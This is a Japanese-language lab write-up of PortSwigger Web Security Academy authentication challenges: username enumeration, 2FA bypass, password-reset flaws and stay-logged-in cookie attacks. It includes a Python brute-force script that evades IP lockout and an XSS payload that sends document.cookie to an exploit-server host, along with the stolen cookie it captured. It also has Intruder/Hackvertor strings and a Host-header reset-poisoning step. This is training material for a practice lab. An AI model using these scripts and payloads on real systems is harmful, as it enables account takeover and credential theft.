# Web Security Academy Authenticate Vulnerabilities writeup [toc] - [username list](https://portswigger.net/web-security/authentication/auth-lab-usernames) - [password list](https://portswigger.net/web-security/authentication/auth-lab-passwords) ## Username enumeration via different responses `username list`使い、Burp SuiteのIntruderでBrute Forceを行うと、あるusernameでpasswordを間違えたときの挙動が`Invalid password`になることがわかります。 このusernameをコピーしておき、password listを使いBrute Forceを行うだけです。 ## 2FA simple bypass - 与えられている条件 - my credentials - wiener - peter - victim - carlos - montoya ログインは以下の手順で行われます。 1. username: password : [POST] /login 2. 2FA画面 : [GET] /login2 3. 2FA code : [POST] /login2 4. /my-account?id={username} victimのusername, passwordは取得しているため、2FAさえ迂回できればログインができそうです。 2FA Codeは4桁なのでブルートフォースを行いたくなりますが以下の理由からできなさそうです。 - [POST] /login2は一度間違えると二度と送れない。 - [GET] /login2に対してリクエストを送信すると2FAが新たに生成される - 2FA codeは新規作成されたら古いものは破棄される。 そのため、そもそも2FA自体をやらない方法を考えてみます。 つまり、`1`が終わった段階で、`4`にリクエストを飛ばしてみるということです。 **手順** `1`でログインが成功した際のCookieを取得しておきます。 取得したCookieを`/my-account?id=carlos`のリクエストに貼り付けて送信します。 上記手順でログインが確認できるはずです。 ## Password reset broken logic https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic Password Resetを行う際の、`[POST] /forgot-password?temp-forgot-password-token={:Token}`のパラメータに明らかに違和感があります。 ```text= temp-forgot-password-token=s3t5r45rdhfo8upxpxh5mh2aeenhekp3&username=wiener&new-password-1=password&new-password-2=password ``` usernmaeを受け付けていることから、ここを変えたら任意のユーザのパスワードが変更できないかを見る必要がありそうです。 ということでやるとできます。 また、パスワードリセットリンクが何度も使用可能なのはどうなの?という気持ちになりました。 ## Username enumeration via subtly different responses https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses 存在するusername, 誤ったパスワードを入力した際、本来のエラーメッセージ`Invalid username or password.`ではなく`Invalid username or password`となります。 responseが異なるユーザ名に対してpassword listでBrute Forceを仕掛けることでラボがクリアできます。 ## Username enumeration via response timing https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing タイミングを見るため`Reseource pool`を設定するほうが良い気がします[^1] Resource poolで、`Maximum concurrent requests: 1`, `Delay between requests: 100`にしておきます。 適当なパスワード`inv`を入れ、usernameに対してBrute Forceを仕掛けると、`auction`だけ少しレスポンスが遅いことがわかりました。 responseが少し遅いアカウントに対してpasswordを総当りするとログインができるはずです。 ## Broken brute-force protection, IP block https://portswigger.net/web-security/authentication/password-based/lab-broken-bruteforce-protection-ip-block 5回ほど誤った認証情報でアクセスするとロックがかかります。 4回誤った認証情報 + 正しい認証情報で試してみます。 そうすると実質永遠に試すことができることがわかります。 めんどくさいのでコードを書いてしまいます。 <details> <summary>solver.py</summary> ```python= import requests import os URL = "https://0a90003d034c9fde80e5d1ad00d8005c.web-security-academy.net" # burpに通信を通すためのやつ。 os.environ["REQUESTS_CA_BUNDLE"] = "./cert.pem" os.environ["HTTP_PROXY"] = "http://localhost:8080" os.environ["HTTPS_PROXY"] = "http://localhost:8080" password_list = [ "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow" ] count = 0 session = requests.Session() for password in password_list: if count == 2: session.post(URL+"/login", data={"username": "wiener", "password": "peter"}) session.get(URL+"/logout") count = 0 else: response = session.post(URL+"/login", data={"username": "carlos", "password": password}) if response.status_code == 302: print(f"carlos:{password}") count += 1 ``` </details> ## Username enumeration via account lock https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock usernameに`username list`をセットし、パスワードに適当な値を入れておき`Null Payload`を5に選択してブルートフォースを仕掛けるとあるusernameの際のレスポンスが異なり、アカウントロックのエラーメッセージが出たことによるものだとわかります。 3回の試行でロックがかかることがわかりました。 このアカウントに対してパスワードでブルートフォースリクエストを飛ばしてみるとなぜか一つだけエラーメッセージがないものが現れます。 その際の認証情報を使ってログインを試すとログインができます。 ## 2FA broken logic https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic ログイン周りを試してみると、`[GET] /login2`の`verify`Cookieに入れたユーザ名に2FA Codeが送られているこそうです。 2FAは4桁の数字のようなので、総当りができてしまいそうです。 `Cookie: verify=carlos`として、`mfa-code`に対してInsert Pointを指定し、`0000-9999`で総当りを試行し、302になった番号を使いログインを行うだけです。 ## Brute-forcing a stay-logged-in cookie https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie ログイン画面に`Stay logged in`が付きました。 与えられている認証情報でログインすると、`wiener:51dc30ddc473d43a6011e9ebba6ca770`をbase64 encodeしている値を持っていることがわかります。 `51....`はmd5でハッシュ化された`peter`であることがわかります。 つまりログイン情報っぽいです。 `stay-logged-in`Cookieは、sessionに値が入っていなくても正しい値であれば認証後リソースを取得できます。 ではラボをクリアします。 今回はHackvertorが使えます。 以下のようにしてIntruderのインサートポイントを設定します。 ```text= stay-logged-in=<@base64>carlos:<@md5>§§<@/md5><@/base64> ``` インサートポイントに入れるものは、`password list`を設定しIntruderを回すと認証後リソースを得られクリアできます。 ## Offline password cracking https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking XSSがあるらしいです。 `Stay-logged-in` Cookieは前回と同様md5でハッシュされたパスワードとusernameがbase64されています。 HttpOnlyはついていないので、XSSで抜いてくる感じでしょうか。 ```htmlembedded= <script> let exploitServerURL = "https://exploit-0aa5002c035a410f81d6a192014900bd.exploit-server.net/exploit"; fetch(`${exploitServerURL}?cookie=${document.cookie}`) </script> ``` ```text= /exploit?cookie=secret=VRt0BEVCMasyOozD1zFWxhI6pB1HKZmQ;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz ``` これが送られてきました。 あとは、[crackstation](https://crackstation.net/)なりに入れてhashを解析してもらい出てきた認証情報でログインを行うだけです。 ## Password reset poisoning via middleware https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-poisoning-via-middleware Password Reset Poisoningと言われたらああはい。になります。 ただHostヘッダを変えるだけでよい。わけではなさそうです。 こういうときは、`Header`を使うことを考えたくなります。 `X-Forwarded-Host`ヘッダを使うと良さそうです。 `X-Forwarded-Host: {YOUR-Exploit-Server-Domain}`をヘッダに付与しPassword Resetを送信するとうまく行きます。 あとは、送られてきたURLにアクセスして、パスワードを変更して終わりです。 ## Password brute-force via password change https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change ログインするとパスワードリセット機能があり、ログイン機能には、アカウントロック機能がありそうです。 パスワードリセット機能は、現在のパスワードを間違えると`/login`に飛ばされてしまいます。 このとき、new Passwordが一致しているとアカウントロックがかかってしまいます。 現在のパスワードがあっていて、New passwordが一致していないときは、`New password do not match`がでて、現在のパスワード、`New password`が一致していないときは`Current Password Incorrect`が出ます。 この挙動を利用してパスワードに総当りができそうです。 2つの異なる値をnew Passwordに入れます。 これができたらusername=carlosとしてpasswordに対して総当りをおこないます。 `new Password do not match`が出た場合、それが現在のパスワードであることを示唆しているためそのパスワードを使用してログインを行うだけです。 ## TODO Broken brute-force protection, multiple credentials per request https://portswigger.net/web-security/authentication/password-based/lab-broken-brute-force-protection-multiple-credentials-per-request ## TODO 2FA bypass using a brute-force attack https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack [^1]: 本当に良いかはわかりません。